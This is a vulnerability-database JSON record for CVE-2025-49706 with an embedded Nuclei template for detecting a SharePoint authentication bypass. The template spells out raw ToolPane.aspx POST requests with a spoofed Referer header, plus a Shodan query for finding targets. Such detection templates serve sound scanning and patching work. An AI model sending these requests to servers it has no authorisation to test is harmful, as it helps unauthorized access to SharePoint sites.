{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-49706/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-49706/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-49706/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-49706/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-49706/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-49706"},"sightings":{"href":"/api/v1/sightings/cve-2025-49706"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-49706.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-49706\n\ninfo:\n  name: Microsoft SharePoint Server - Authentication Bypass\n  author: daffainfo\n  severity: medium\n  description: |\n    Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.\n  impact: |\n    Unauthenticated attackers can spoof authentication by manipulating the Referer header to access ToolPane functionality, potentially enabling unauthorized actions on SharePoint sites.\n  remediation: |\n    Apply the Microsoft security patches for SharePoint Server as described in the MSRC update guide.\n  reference:\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706\n    - https://securelist.com/toolshell-explained/117045/\n    - https://www.wiz.io/blog/sharepoint-vulnerabilities-cve-2025-53770-cve-2025-53771-everything-you-need-to-k\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/sharepoint_toolpane_rce.rb\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-49706\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2025-49706\n    epss-score: 0.99063\n    epss-percentile: 0.99931\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.component:\"sharepoint\"\n  tags: cve,cve2025,sharepoint,auth-bypass,microsoft,vkev,kev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Accept-Encoding: gzip\n\n        MSOTlPn_Uri=&MSOTlPn_DWP=\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 301 || status_code == 302'\n          - 'contains(all_headers, \"Microsoftsharepointteamservices\")'\n          - 'contains(tolower(body), \"object moved\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: /_layouts/SignOut.aspx\n        Accept-Encoding: gzip\n\n        MSOTlPn_Uri=&MSOTlPn_DWP=\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains(all_headers, \"Microsoftsharepointteamservices\")'\n        condition: and\n# digest: 4a0a00473045022036c96665958873fe93faacb9940dec27e524bf2275f7d79ee7c92c318feeea1a022100bec3dc959c2488279e6be9485e2cdf9bc39d465b2fe517caf30e20784f042cbb:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-49706"}